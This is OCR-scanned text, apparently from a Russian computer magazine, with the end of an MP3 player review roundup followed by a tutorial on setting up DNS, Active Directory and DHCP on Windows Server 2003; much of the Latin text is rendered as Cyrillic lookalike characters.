ветки отчетливо слышен неприятный писк. 
Не хватает кнопки «НоІсІ» и линейного вхо- 
да. Экран небольшой и не самый инфор- 
мативный — отображается только самая 
необходимая информация о треке. В 
комплект входит чехол для ношения на 
поясе, а вот ремня для предплечья не 
предусмотрено. Элементы питания к де- 
вайсу надо приобретать самому, так как 
аккумуляторов не предусмотрено. 





80ВЕЫ. 8Р2000 

Воспроизводимые форматы: МРЗ, ѴѴМА, ООО 
Встроенное РМ-радио: есть 
Соединение с компьютером: ЦЗВ 2.0 
Время работы, ч: 15 

Возможный объем памяти, Мб: 128, 256, 512, 1024 
Расширение с помощью флеш-карт: нет 

Девайс продуман во всех отношениях, в 
частности, он имеет встроенный ІІЗВ-ште- 
кер, так что ЗОРЕН ЗР2000 можно без проб- 
лем использовать в качестве флеш-носите- 
ля, к тому же для перекачивания файлов 
программного обеспечения не требуется. 
Качество звука высокое, но слегка чувству- 
ется нехватка низких частот. Имеются раз- 
личные звуковые эффекты, например 5РЗ 



\А/0\А/иЗРЗТгиВа55, которые добавляют басы 
и придают объемное звучание композици- 
ям. Наушники совмещены с ремешком, так 
что количество опутывающих тебя проводов 
резко сокращается, к тому же на них наде- 
ты специальные кольца, позволяющие в 
большом диапазоне регулировать длину. 
Дисплей имеет четыре строки, причем верх- 
няя подсвечивается оранжевым, а осталь- 
ные три — зеленым. Экран отображает всю 
необходимую информацию о проигрывае- 
мой композиции. Джойстик весьма удобный 
— для нажатия не требуется прикладывать 
особых усилий. Рядом с ним расположен 
синий светодиод, который включается, ког- 
да девайс переходит в ждущий режим. 




МРІО Р 1.350 

Воспроизводимые форматы: МРЗ, ѴѴМА, ѴѴАѴ, А5Р 
Встроенное РМ-радио: есть 
Соединение с компьютером: 118В 2.0 
Время работы, ч: 10 

Возможный объем памяти, Мб: 128, 256, 512, 1024 
Расширение с помощью флеш-карт: нет 

Этот плеер по дизайну похож на ІРІѴЕР N10 — 
он так же вешается на шею и имеет весьма 
компактные размеры. Корпус полностью вы- 
полнен из металла, отполированного до зер- 
кального блеска, — смотрится это очень 
стильно, но пачкается такая поверхность 
быстро. Качество звука порадовало, но ба- 
сов все же немного не хватает. ЖК-экран ма- 
ленький и не очень информативный, а стекло. 



защищающее его от повреждений, покрыто 
отражающим веществом, так что при силь- 
ном внешнем освещении прочитать отобра- 
жаемую информацию будет сложновато. Уп- 
равление плеером осуществляется с по- 
мощью шести кнопок, расположенных на ли- 
цевой стороне девайса, но они узкие, так что 
нажимать на них немного неудобно. Меню 
весьма подробное и понятное. На корпусе 
не предусмотрено отверстия для шейного 
ремешка — оно есть только на чехле, входя- 
щем в комплект. Для перекачивания файлов 
на плеер не требуется ПО. Запитывается 
МРІО РІ_350 от встроенного аккумулятора, ко- 
торый заряжается, когда плеер подключен к 
ІІЗВ-порту. Возможно обновление прошивки. 




МІШО МН-100 

Воспроизводимые форматы: МРЗ, ѴѴМА 
Встроенное РМ-радио: есть 
Соединение с компьютером: 118В 1.1 
Время работы, ч: 12 

Возможный объем памяти, Мб: 128, 256, 512 
Расширение с помощью флеш-карт: нет 

МШО МР-100 оставил о себе двоякое впе- 
чатление: с одной стороны, очень порадо- 
вало качество звука — глубокие басы и хо- 
рошие низкие частоты, высокая громкость 
воспроизведения. Девайс очень легок в уп- 
равлении, в частности из-за двух эргоно- 
мичных джог-дайалов и нескольких кнопок. 
Дисплей имеет очень стильную, не режу- 
щую глаз белую подсветку, при этом отоб- 
ражается вся необходимая информация о 



композициях и режимах воспроизведения. 
Навигация по папкам и меню весьма удоб- 
на. Корпус выполнен из матового сереб- 
ристого металла, что придает плееру ори- 
гинальный дизайн, но с другой стороны, 
вес плеера становится значительным по 
сравнению с устройствами подобного 
класса. Да и размеры МШО МР-100 все же 
велики. Аккумулятор имеет плоскую 
конструкцию и может выниматься из корпу- 
са. В комплект также входит зарядное уст- 
ройство для него. Жаль, что есть лишь ре- 
мешок, а чехол отсутствует. Плеер можно 
использовать для переноса данных и при 
этом подключать к компьютеру без уста- 
новки драйверов. Предусмотрена возмож- 
ность перепрошивки устройства. 




СОѴѴОЫ ІАІЮІО 4 

Воспроизводимые форматы: МРЗ, ѴѴМА, ѴѴАѴ, АЗЕ 
Встроенное РМ-радио: есть 
Соединение с компьютером: ІІЗВ 1.1 
Время работы, ч: 15 

Возможный объем памяти, Мб: 128, 256, 512, 1024 
Расширение с помощью флеш-карт: нет 

Корпус этого плеера полностью выполнен 
из металла различных опенков, что, во-пер- 
вых, придает девайсу привлекательный 
внешний вид, а во-вторых, увеличивает его 
прочность. Качество звука высокое, осо- 
бенно радуют хорошо воспроизводимые 
басы. Так же, как и у СОѴѴОІМ ІАІЮІО 112, ре- 
гулировка звука осуществляется слишком 
большими скачками, что не очень удобно. 



Экран имеет действительно большие раз- 
меры, и это позволило отображать на нем 
практически всю нужную информацию о 
композициях и режимах их воспроизведе- 
ния. Помимо того, подсветка экрана имеет 
несколько цветов, которые смотрятся очень 
стильно. Управление понятное, но некото- 
рые кнопки расположены настолько близко 
друг к другу, что можно промахнуться и на- 
жать не на ту. Разъем 115В спрятан под крыш- 
кой для батарейки, это с одной стороны не 
очень удобно при подсоединении СОѴѴОІ4 
ІАІЮІО 4 к компьютеру, но с другой стороны 
крышка несет пылезащитную функцию. Пле- 
ер можно использовать как флешку безо 
всякого программного обеспечения. 
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ЮНИТЫ КРЕАТИФФ КОДИНГ ІЛЧІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС.20ЫЕ РЕВРШМ НЬЮСЫ 






Оседлай ѴѴіпсІоѵѵз 
2003 Зегѵег 

МНОГИЕ ПОЧЕМУ-ТО АССОЦИИРУЮТ СЛОВО 
«СЕРВЕР» ИСКЛЮЧИТЕЛЬНО С ОПЕРАЦИОН- 
НЫМИ СИСТЕМАМИ І_ІІ\ШХ И РВЕЕВ5Э. НО ПО- 
ЧЕМУ? НЕСОМНЕННО, ОНИ КАК НЕЛЬЗЯ ЛУЧ- 
ШЕ ПОДХОДЯТ ДЛЯ ПОДНЯТИЯ СТАБИЛЬНО- 
ГО И НАДЕЖНОГО СЕРВЕРА, НО ЗАЧЕМ ЖЕ 
СБРАСЫВАТЬ СО СЧЕТОВ ѴѴІЫЭОѴѴЗ? ПОС- 
ЛЕДНЯЯ ВЕРСИЯ ѴѴІЫЭОѴѴЗ 2003 ЗЕПѴЕН 
ИМЕЕТ ШИРОЧАЙШИЕ ВОЗМОЖНОСТИ. ПРИ 
ЭТОМ ОНА СТАБИЛЬНО РАБОТАЕТ ДАЖЕ НА 
СЛУЖБЕ У ПРОВАЙДЕРОВ! I Зіер (5Івр@геаІ.хакер.ги) 



Практическое руковод- 
ство по настройке сер- 
вера с Асііѵе йігесіогу, 
□N3 и ОИСР 

[что нам стоит дом построить?] Итак, реше- 
но. Поднимать сервак для локалки мы будем 
под управлением ѴѴіпсІо\л/з 2003. Что для это- 
го нужно? Ну, по крайней мере, достойный 
компьютер. Конфигурация, естественно, 
напрямую зависит от того, какие задачи он 
будет выполнять. Если тебе нужен всего лишь 
контроллер домена, то вполне сойдет мини- 
мальный конфиг системы, потому что боль- 
шего в этом случае и не требуется. Другое 
дело, если на серваке будет крутиться дю- 
жина сервисов, в частности, файловые и 
почтовые серваки, которые, плюс ко всему 
прочему, еще будут одновременно обслу- 
живать сотню-другую клиентов. В этом слу- 
чае есть над чем подумать. 

Разумеется, никто не обязывает тебя поку- 
пать двухпроцессорный агрегат с огром- 
ным количеством оперативной памяти. Бы- 
ло бы, конечно, неплохо, но можно вполне 
обойтись и без него. В принципе, для не- 
большой локалки со средними нагрузками 
вполне сойдет Репііит 4 с достаточным 
объемом оперативки. Но надо понимать, 
что со временем его, возможно, придется 
проапгрейдить. Еще один нюанс: если от 
работы твоего сервера будет зависеть ра- 
ботоспособность предприятия или целой 
домашней сети, то нелишним будет поза- 
ботиться о резервном копировании дан- 
ных. РаісІ-массив из двух винтов в режиме 
зеркалирования — на мой взгляд, идеаль- 
ный вариант. Просто, дешево и со вкусом. 
Помимо этого, стоит позаботиться об источ- 
нике бесперебойного питания. Многие со- 
вершенно ошибочно полагают, что это доро- 
гое удовольствие. Да, когда-то это было уде- 
лом профессионалов с большими деньгами, 
но все изменилось, и хороший УРЗ сейчас 





На наших дисках ты най- 
дешь самые последние 
патчи для ѴѴІпбошз 2003 
Зегѵег. Игнорировать их не 
стоит — ты имеешь дело с 



\ I / 

Прежде чем настраивать 
сервак, я настоятельно ре- 
комендую создать образ 
диска с установленной 
системой. Теперь, даже 




/ I \ 



сервером! 



если ты серьезно накося- 
чишь и система переста- 



нет работать как надо, все 
неполадки можно будет 
устранить всего за нес- 
колько минут. 



может позволить себе каждый до- 
машний пользователь. Так почему 
же не оснастить им твой сервер? 

Хотя ты и не обеспечишь на 100% 
его бесперебойную работу (для 

этого, пожалуй, понадобится самый настоящий генератор на ди- 
зельном топливе), но по крайней мере, устранишь последствия крат- 
ковременного отключения энергии. В этом должен помочь и хоро- 
ший блок питания — это важная часть сервера. 



[как дважды два — четыре] Я говорю об установке. Если ты хотя бы 
раз сам устанавливал ѴѴІпсІо\л/5 ХР (я в тебя верю!) (я тоже в тебя 
верю, мэн! — Прим. Догадайтесь кого), то затруднительных ситуа- 
ций возникнуть не должно. Чтобы заранее предупредить появле- 
ние проблем с безопасностью, рекомендую найти дистрибутив с 
интегрированным Зегѵісе Раск'ом. 

Во время установки мастер предложит тебе услуги Оупатіс Іірсіаіе'а, 
способного самостоятельно выкачать из Сети обновленные драйвера 
и необходимые заплатки. Так вот, знай: не трать напрасно свой трафик. 
Подходящие драйвера куда лучше скачать с официального сайта про- 
изводителя, а обновления — вручную или с помощью специальной ути- 
литы ѴѴІЯооІ ( Шр://оѵасіа.атісот.ги/ѵѵиТооІ.ЫгпІ . ). Почему именно так? 
Да потому что установщик, как и встроенный \Л/іпс!о\л/5 Іірсіаіе, скачав и 
поставив обновления, удаляет их! Что же делать во время повторной (не 
дай Бог, конечно) установки системы? Выкачивать их заново? Бред. 





# В интернете распространи- Выбор необходимых сервисов 
ется огромное количество — важный этап установки. За- 
поогоамм. поепназначен- помни правило: если не зна- 
ешь, за что отвечает та или иная 
служба, то и не ставь ее. Если 
уверен, что она тебе не нужна, 
не устанавливай тем более. Ло- 
гика простая. Чем меньше на 
сервере работающих прило- 
жений, тем меньше вероят- 
ность, что среди них найдется 
сервис с критической ошиб- 
кой. Да и о ресурсах машины не стоит забывать! Тем более что 
любой сервис может быть с легкостью установлен позже. 
Жесткий диск на сервере рекомендуется разбить на несколько 
частей: создать небольшой раздел для файла подкачки ($\л/ар), 
средних размеров системный диск, а все остальное простран- 
ство отдать под пользовательские данные. 



В интернете распространя- 
ется огромное количество 
программ, предназначен- 
ных для украшения серых 
будней администратора. 
Среди них попадаются 
действительно стоящие 
утилиты. Так, нелишним 
будет установить набор 
Везошсе КП Іог ѴѴІпбошз 
Ветѵегз. 



[предварительная подготовка] В прошлом номере я уже расска- 
зал тебе, как настроить шлюз в инет, поэтому сейчас я данный 
вопрос затрагивать не стану. Допустим, что этот сервис был пред- 
варительно настроен на отдельной, специально предназначен- 
ной для него машине. Хотя, безусловно, никто не мешает тебе 
настроить маршрутизацию на основном сервере. 
Конфигурирование сервера мы, пожалуй, начнем с настройки 
основного сетевого подключения. Найти его несложно: Панель 
управления -> Сетевые подключения -> І_осаІ Агеа Соппесігап. В 
первую очередь, от нас требуется присвоить серверу статичес- 
кий ІР-адрес. Позволю напомнить, что для локальных сетей выде- 
лено три диапазона ІР-адресов: 10.0.0.0 — 10.255.255.255, 
172.16.0.0 — 172.31.255.255, 192.168.0.0 — 192.168.255.255. Для 



маршрутизатора традиционно выделяют 192.168.0.1 (или анало- 
гичный адрес из другой подсети), это требование является обяза- 
тельным. В случае с сервером-контроллером домена (именно та- 
кой мы и будем настраивать) выделенный ІР-адрес большой роли 
не играет — можно выбрать совершенно любой. Но чтобы конкре- 
тизировать пример, возьмем 192.168.0.10 и пропишем его в пара- 
метрах ТСР/ІР сетевого подключения. В качестве основного шлю- 



[КОНСОЛИ — ДА!] 

Многие ошибочно считают, что управление ѴѴІпсіоѵѵз- 
сервером осуществляется исключительно через 
ѲІЛ’шный интерфейс. На самом деле это не так. Для 
работы со службой каталога ты всегда можешь ис- 
пользовать следующие команды: 

ОЗАОО — добавляет в службу каталога необходимые 
компьютеры, контакты, группы и, естественно, пользо- 
вателей. 

ОЗВМ — удаляет объект из Асііѵе Оігесіогу. 

ОЗѲЕТ — отображает свойства компьютеров, контак- 
тов, групп, пользователей, сайтов, подсетей и серве- 
ров, которые зарегистрированы в службе каталога. 
ОЗМСЮ — изменяет свойства элементов, зарегистри- 
рованных в Асііѵе Оігесіогу. 

ОЗМОѴЕ — перемещает объект на новое место в пре- 
делах домена и переименовывает его. 

ОЗСШЕВУ — ищет пользователей, компьютеры и 
других ресурсы внутри службы каталога. 

МТОЗІІТИ — выводит информацию о любом сервере, 
сайте или домене, а также позволяет обслуживать ба- 
зу данных Асііѵе Оігесіогу. 
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[ѴѴІЫРОѴѴЗ 2003 БЫВАЮТ РАЗНЫМИ] 

ѴѴеЬ ЕсІІІІоп — самый дешевый вариант, предназна- 
ченный прежде всего для хостинговых компаний. В 
стандартный набор входят: МісгозоН АЗР .ІЧЕТ и 
Місгозоіі .ІЧЕТ Ргатеѵѵогк. Это единственный предста- 
витель ѴѴІпсІоѵѵз 2003, на котором нельзя поднять 
Асііѵе Эігесіогу, поэтому едва ли он тебя заинтересует. 
ЗіапсіагсІ ЕсІІІІоп — версия разработана специально 
для предоставления служб и ресурсов другим пользо- 
вателям сети. Сервер содержит все необходимые 
инструменты для организации совместного использо- 
вания интернета, файлов и принтеров, а также для 
взаимодействия юзеров в сети. ѴѴІпсІоѵѵз Зегѵег 2003 
поддерживает до двух центральных процессоров и до 
четырех гигов оперативной памяти. 

Епіегргізе ЕсІІІІоп — это расширенный вариант 
ѴѴІпсІоѵѵз Зегѵег 2003 ЗіапсіагсІ ЕсІІІІоп. В списке преи- 
муществ — поддержка службы кластеров и служб ме- 
такаталогов. Версия выпускается как в 32-разрядном, 
так и в 64-разрядном варианте и поддерживает опера- 
тивную память с возможностью горячей замены (воз- 
можность добавлять и извлекать планки памяти прямо 
во время работы — эту функцию должно предусматри- 
вать и само железо!). Версия поддерживает до восьми 
центральных процессоров и до 64 Гб оперативной па- 
мяти на процессорах Ііапіит. 

Эаіасепіег ЕсІІІІоп — название говорит само за себя. 
Этот монстр предназначен для решения сложных кор- 
поративных задач и работы с огромными базами дан- 
ных. Работа возможна, начиная с восьми процессоров, 
но их количество может быть увеличено до 32. В 64- 
разрядном варианте поддерживает объем памяти до 
16 Тб. Впечатляет. 



за укажем адрес маршрутизатора 192.168.0.1, а в качестве пер- 
вичного РЫЗ — ІР-адрес самого сервера, то есть 192.168.0.10. 
После этого кликай по кнопке «Дополнительно» и переходи на 
вкладку «РЫЗ». Проверь, чтобы были активированы следующие оп- 
ции: «Дописывать основной РЫЗ-суффикс и суффикс подключе- 
ния», «Дописывать родительские суффиксы основного РЫЗ-суф- 
фикса», «Зарегистрировать адреса этого подключения в ОЫЗ». 
Следующий этап совсем небольшой. Зайди в свойства «Моего 
компьютера», далее во вкладку «Имя компьютера» и кликай по 
единственной кнопке «Изменить». Здесь, как несложно догадать- 
ся, от тебя требуется назначить серверу сетевое имя, в моем при- 
мере им будет Зегѵег (я, как всегда, оригинален). После этого пе- 
реходи к дополнительным настройкам. 

Опция, которая для нас актуальна, — 0145-суффикс. Сойдет, к при- 
меру, Гюте.ІосаІ — домен второго уровня. Запомни этот ОЫЗ-суф- 
фикс, в ближайшее время он нам еще понадобится. 

[вездесущая РЫЗ] Наша основная задача на сегодня — грамотно 
поднять службу каталога (Асііѵе Оігесіогу). Но так как она тесно 
связана с доменной системой имен (Оотаіп Мате Зузіет, ОЫ5), 
придется вначале разобраться именно с ней. На примере кратко 
объясню, для чего она вообще нужна в локальной сети. Как изве- 
стно, в инете ОІЧ5 используется для определения ІР'шника по до- 
менному имени (например по ѵѵѵѵѵѵ. хакер. ги). В локалке все ана- 
логично. В любом сетевом приложении можно указать адрес зегѵ- 
ег.боте.іосаі (синтаксис: имя компьютера. ОЫЗ-суффикс) и быть 
уверенным, что нужный компьютер будет найден. 

По умолчанию сервис ОЫ5 не установлен, поэтому заходи в Па- 
нель управления -> Установка и удаление программ -> Установка 
компонентов ѴѴІпсІоѵѵз -> Меілл/огкіпд зегѵісез и нажимай на кнопку 
«Состав». В появившемся списке среди дюжины прочих сервисов 
будет присутствовать пункт Оотаіп Ыате Зузіет (0145). Ставь нап- 
ротив него галку. Жми на «ОК», 

После того как все файлы будут скопированы, можно приступать к 
настройке. По большому счету, сервис даже на данном этапе ра- 
ботоспособен и вполне может выполнять кэширующие функции. 
Однако клиенты Асііѵе Оігесіогу применяют 0145 совершенно для 
другого, и сервис придется доводить до ума вручную. Все действия 
по настройке 0145 осуществляются через Пуск -> Администрирова- 
ние -> 0145. Для поддержки службы каталога должна быть создана 
зона, которая будет ассоциирована с создаваемым доменом 



Асііѵе Оігесіогу. Для этого в ле- 
вой панели с древовидной 
структурой (появившееся окно 
представляет собой стандарт- 
ную консоль ММС) кликай пра- 
вой кнопкой мыши по «Зоне пря- 
мого просмотра» и выбирай в 
появившемся меню пункт «Новая 
зона». Существует три вида зон, 
которые могут быть созданы: ос- 
новная, дополнительная и зона- 
заглушка. У нас пока нет ника- 
кой, поэтому выбираем первый 
[ѴѴІЛооІ — утилита для автоматической тип и указываем ее имя — 

закачки и сохранения заплаток] Ііоте.ІосаІ. Тщательно проверь, 

чтобы это имя было идентично 
указанному ранее ОЫЗ-суффиксу, это очень важно. Имя файла для 
хранения данных РЫЗ-сервера рекомендую оставить по умолча- 
нию. Что касается последнего шага мастера, то просто не забудь 
активировать динамические обновления ОЫ5. 

Теперь необходимо наладить так называемый 0148-форвардинг, 
чтобы наш ОЫЗ-сервер умел не только обрабатывать внутренние 
ОЫЗ-запросы, но и пересылать их реальному 0145 в интернете в 
случае, когда клиенту требуется информация об узле из внешней 
сети. Кликай правой кнопкой мышки по имени твоего сервера 
(имя компьютера) и выбирай «Свойства», после чего переходи на 
вкладку «Пересылка». В поле для ввода ІР-адреса вводи коорди- 
наты 0145-сервера, на который в дальнейшем будут переадресо- 
вываться внешние 0145-запросы. Например 0145-сервер своего 
провайдера. Серверов может быть несколько, но самый верхний 
из них по традиции имеет наибольший приоритет. 

После этого ты должен убедиться, что компьютер смог зарегистриро- 
вать себя в созданной зоне. Для этого запусти командную строку 
(СІѴЮ) и набери: «ірсопіід /гедізіегсіпз». Теперь вернись к консоли уп- 
равления 0145 и, открыв новую зону, нажми Р5 (обновить данные). Ло- 
кальный компьютер должен появиться в списке с пометкой «Узел (А)». 
Ровно так же, как и в программировании, в искусстве администри- 
рования существуют правила хорошего тона. Так, установка зоны 
обратного просмотра хотя и не является обязательной, но все-таки 
крайне желательна. Создается она аналогично зоне прямого прос- 
мотра. Единственная сложность — указание кода сети (Ю). Здесь 
нужно прописать первые три октанты твоего ІР-адреса (в моем слу- 
чае 192.168.0) и спать спокойно. Все остальные опции оставляй по 
умолчанию, но не забудь включить динамическое обновление 0145. 




[установка службы каталога] Займемся Асііѵе Оігесіогу. Если 
сочетание этих двух слов тебе ни о чем не говорит, смело бе- 
ри электронную подшивку «Хакера» и читай подробную статью 
по теме в одном из недавних номеров. Если вкратце, то служба 
каталога (АО) работает на основе серверных версий ѴѴІпсІоѵѵз 
2000 и 2003 и предназначена для хранения информации обо 
всех ресурсах и участниках сети. Она включает соединения, 
базы данных, принтеры, пользователей и группы. Если ты соби- 
раешься администрировать серверы на базе ѴѴІпсІоѵѵз, то АО 
обязательно станет тебе верным другом и помощником. 
ЕІесмотря на то что служба каталога не устанавливается по умолча- 
нию, она по праву 
считается обязатель- 
ным элементом для 
средних и больших 
локальных сетей. 

Особенно если учи- 
тывать, что работа не- 
которых популярных 
сетевых приложений 
без нее попросту не- 
возможна. 

Служба имеет огром- 
ное количество са- 
мых разнообразных 
настроек и, как след- 
ствие, подводных кам- 
ней. Однако сегодня 
мы не будем особо 
углубляться и сдела- 
ем все по минимуму. 

Пойми меня правиль- 







Обязательно к прочтению: 
МІрУ/Іогит.пад.ги — от- 
личный форум по админи- 
стрированию. 
шшш.пеішогкбос.ги/ІІІез/іпз 
ор/аб/ртіп1.бІтІ?аб2000- 
І.МтІ — подробный ма- 
нуал по установке службы 
каталогов Асііѵе Оігесіогу 
на ѴѴІпбошз2000. 
шшш.сегІіЛсаІіоп.ги/ІіЬгагу/ 
саіаіод/таіегіаіз/і 5тіпиІ/іп 
бех.біті — цикл статей по 
администрированию. 



но: для домашней локалки этого 
будет более чем достаточно, а 
чтобы обустроить корпоративную 
сеть, тебе в любом случае при- 
дется прочитать не одну книгу. 
Для установки Асііѵе Оігесіогу в 
ѴѴІпсІоѵѵз 2003 предусмотрена 
команда сісргото. После того 
как ты введешь ее в командной 
строке или выполнишь через 
меню Пуск -> Выполнить, нач- 
нется процесс установки. Мас- 
тер Асііѵе Оігесіогу значитель- 
но упрощает создание и кон- 
фигурирование нового конт- 
роллера домена. Но в то же время неподготовленному пользова- 
телю будет чрезвычайно сложно правильно ответить на вопросы 
мастера. Не беда — все распишем и расскажем :). 

3 Настройка начинается с определения типа создаваемого 
контроллера домена. Поскольку работающего РС (Оотаіп 
СопігоІІег) в сети еще нет, выбирай первый из предложенных вари- 
антов — контроллер домена для нового домена. 

3 После этого тебе необходимо указать мастеру, что ты хочешь 
создать новый лес. Тем самым ты обозначишь, что создаваемый 
домен будет корневым. 

3 Далее мастер установки потребует ввести полное ЭІЧЗ-имя 
создаваемого контроллера домена. Оно должно целиком совпа- 
дать с именем ранее созданной зоны прямой видимости. В моем 
случае это Гюте.Іосаі. Замечу также, что этап может занять неко- 
торое время, так как система будет исследовать ЭІЧЗ-сервер и 
проверять введенные данные на наличие ошибок. 

3 Если все прошло хорошо, то должно появиться окошко для вво- 
да ІЧеіВІОЗ-имени контроллера домена. Предложенное систе- 
мой имя Ітоте меня полностью устраивает :). 

3 Все данные Асііѵе Оігесіогу хранит в своей собственной базе. 
На этом этапе необходимо указать ее месторасположение, пос- 
ле чего задать расположение журнала регистрации событий (ло- 
гов, в общем). Для наилучшей производительности системы реко- 
мендуется поместить эти файлы на отдельный жесткий диск, од- 
нако для небольших локалок это не критично, и значения можно 
оставить как есть. 

3 В больших корпоративных сетях в одном домене может быть 
несколько контроллеров. Они постоянно взаимодействуют друг с 
другом и синхронизируют свои данные (скрипты для входа в сис- 
тему, групповые политики и т.п.) — этот процесс называет репли- 
кацией базы данных. Папка ЗѴЗѴОи путь к которой мастер требу- 
ет обозначить, содержит серверную копию общих файлов доме- 
на. Важное замечание: эта папка обязательно должна находить- 
ся в разделе с файловой системой ІЧТРЗ. 

3 На этом этапе мастер еще раз проверит всю инфу, связанную 
с ОІМЗ (это еще раз показывает, насколько важен данный сервис 
для работы АР), и выдаст соответствующее сообщение. Если что- 
то пошло не так, придется выполнять все заново и быть более вни- 
мательным. 

3 Далее мастер поинтересуется, с каким типом раз- 
решений будет работать создаваемый контроллер до- 
мена. Если в твоей локалке компьютеры работают иск- 
лючительно под управлением \Л/іпсіо\л/ 52000/ХР/2003, то 
не морочь себе голову и выбирай второй вариант. В 
противном случае — первый. 

3 В целях безопасности установщик потребует от тебя 
ввести еще один пароль. В будущем он будет использо- 
ваться для того, чтобы загрузить систему через Оігесіогу 
Зегѵісез Резіоге Мосіе. Этот режим загрузки можно выб- 
рать непосредственно перед моментом запуска винды 
(клавиша Р8), и нужен он для восстановления работы 
службы каталога после сбоя. Введенный пароль может 
быть изменен с помощью стандартной утилиты І\ІТ051ІТІЕ. 

[ю] Ну вот и все. Теперь мастер скопирует все необхо- 
димые для АЭ файлы, отконфигурирует их и потребует 
перезагрузиться. Собственно говоря, готово! 



[пользователи и группы — основа основ] После успеш- 
ной установки АЭ на сервере в меню Пуск -> Админист- 
рирование добавляются три новых пункта: «Асііѵе 
Оігесіогу — пользователи и компьютеры», «Асііѵе 
Оігесіогу — домены и доверие», «Асііѵе Оігесіогу — сай- 




[дополнительные параметры. Проверь 
установку необходимых опций] 



ты и службы». Первый из них ты 
будешь использовать значитель- 
но чаще других, так как именно 
он отвечает за управление поль- 
зовательскими аккаунтами, 
компьютерами, группами и все- 
ми другими объектами службы 
каталога. Чтобы не задавать па- 
раметры учетной записи для 
каждого пользователя в отдель- 
ности, я рекомендую тебе сразу 
начать с создания группы. Для 
этого выбери в левой панели од- 
но из подразделений (хотя мож- 
но сначала создать свое под- 
разделение) Создать -> Группа. 
Аналогичным образом создают- 
ся и пользовательские учетные 
записи, в свойствах которых можно обозначить их принадлежность 
к конкретной группе. Щелкнув правой кнопкой мыши по имени одно- 
го из пользователей и выбрав пункт «Все задачи», ты получишь спи- 
сок наиболее распространенных действий с учетной записью. Чу- 
ток экспериментов — и ты наверняка с ними освоишься. Благодаря 
продуманному интерфейсу, тебе не составит труда настроить не 
только учетные записи и группы, но и общие папки, принтеры и т.п. 

[установка ОНСР-сервера] То, что ЭНСР-сервер — вещь исключи- 
тельно полезная, известно давно. ЭНСР (Эупатіс Нозі Сопіідигаііоп 
Ргоіосоі) — это протокол, по которому клиентские машины получа- 
ют необходимые сетевые настройки от сервера. Очень удобная 
штуковина, между прочим. При подключении к локалке нового 
пользователя отпадает всякая необходимость консультировать его 
по поводу ТСР/ІР-настроек соединения. Он просто вставляет сете- 
вую карту в компьютер, указывает параметры своей учетной запи- 
си на домене — и машина готова к работе. ЭНСР самостоятельно 
распределяет ІР-адреса и другие важные сетевые настройки. И 
если в ѴѴІпсІоѵѵз ХР от ОНСР-сервера остался урезанный до безоб- 
разия сервис с минимумом возможностей, то масштабы ЭНСР в 
ѴѴІпсіоѵѵ 2003 ты сможешь оценить по достоинству. 

Подобно Э№, сервис ЭНСР не устанавливается в ѴѴІпсІоѵѵз по 
умолчанию — его необходимо поставить самостоятельно. Разу- 
меется, можно добавить компонент ЭНСР вручную и произвести 
необходимую настройку, но мы поступим иначе. В арсенале 
ѴѴІпсІоѵѵз 2003 доступна замечательная вещь: Администрирова- 
ние -> Мастер настройки сервера. С его помощью пользователь 
получает возможность настроить самые разнообразные сервисы 
с минимумом усилий (но и с меньшими возможностями), причем 
ЭНСР не исключение. 

Для начала стоит в уме прикинуть примерную планировку сети. 
Нужно заранее продумать, какой диапазон ІР-адресов будет ав- 
томатически выдаваться ЭНСР-сервером, но при этом не забыть 
составить список исключений из этого диапазона. Дело в том, что 
некоторые компьютеры в сети должны иметь статический ІР-ад- 
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[ХАКЕР 05 [77] 05 > РС_20ЫЕ 022 ] 




[мастер настройки сервера. ОНСР-сервер пока еще не установлен] 

рес и самостоятельно устанавливать его вручную. К таким компь- 
ютерам относятся маршрутизаторы, РЫЗ-серверы, ЭНСР-серве- 
ры, файловые хранилища и т.д. В список исключений можно внес- 
ти самые разнообразные ІР-адреса. Но неплохо бы выделить для 
них непрерывный диапазон. Например, взять первые десять (в мо- 
ем случае 192.168.0.1 — 192.168.0.10) и указать именно их. 

Эти данные пригодятся во время работы мастера, устанавливающе- 
го ОНСР-сервер. Я не буду подробно останавливаться на его рабо- 
те. Все, что от тебя требуется — это грамотно ввести все требуемые 
значения. Помимо уже подготовленной информации, понадобится 
еще один параметр — «Аренда ІР-адреса». Он указывает промежу- 
ток времени, в течение которого выданный ІР-адрес остается прис- 
военным конкретному компьютеру. В нашем случае вполне допусти- 
мо оставить его значение по умолчанию. Для конечных пользовате- 
лей немаловажны настройки основного шлюза и ЭІ\І5-сервера — их 
также необходимо ввести правильно. Причем если ЭЫЗ-серверов в 
сети несколько, то в список можно занести сразу все. 

Чтобы ЭНСР-сервер полноценно работал в связке с АсИѵе 
Эігесіогу, его необходимо авторизовать в консоли управления 
ЭНСР (Администрирование -> ЭНСР). Консоль управления позво- 
ляет изменять самые различные настройки сервера, создавать 
бэкапные ЭНСР-базы, просматривать логи и список ІР-адресов, 
выданных на текущий момент. 

По умолчанию ОНСР-сервер настроен так, что создает резерв- 
ную копию своей БД каждые 60 минут, то есть раз в час. Однако в 
случае необходимости это действие ты можешь выполнить вруч- 
ную. Физически бэкап будет находиться в папке %\л/іпсііг%\зуз- 
іет32 \ сУЛ ср \ Ьаскир. 

Многие администраторы предпочитают, чтобы клиентские компь- 
ютеры постоянно получали одни и те же ІР-адреса — в ряде случа- 
ев это действительно очень удобно. Специально для этих целей в 



[ГЛОССАРИЙ] 

Во время настройки Асііѵе Оігесіогу тебя, возможно, 
смущали слова «лес», «дерево» и т.д. На самом деле 
это всего лишь элементы инфраструктуры службы ка- 
талога. 

Домен (Оотаіп) — объединение сетевых пользовате- 
лей или компьютеров, для которых введена единая по- 
литика администрирования. Параметры учетных запи- 
сей централизованно хранятся в контроллере домена 
Ротаіп СопІгоІІег, ОС). 

Дерево (Тгее) — структура, которая состоит из доме- 
нов, совместно использующих одно и то же простран- 
ство имен. 

Лес (Рогезі) — объединение деревьев, которые ис- 
пользуют данные каталога. 

Контейнер (Сопіаіпег) — логическая структура, кото- 
рая может содержать группу разнообразных объектов 
или других контейнеров. 

Организационное подразделение (Огдапігаііоп Ііпіі) — 

разновидность контейнера, которая распространяет 
свою групповую политику на включенные в нее объекты. 
Подсеть (ЗиЬпеІ) — сетевая группа с заданным диапа- 
зоном ІР-адресов и сетевой маской. 

Сайт (Зііе) — одна или несколько подсетей, имеющих 
между собой высокоскоростной канал. 



ЭНСР-сервисе реализован механизм резервирования ІР-адре- 
сов. Для того чтобы настроить его, зайди в консоль управления и в 
нужной области (читай, в диапазоне ІР-адресов) найди раздел 
«Резервирование», кликни по нему правой кнопкой мыши и выбери 
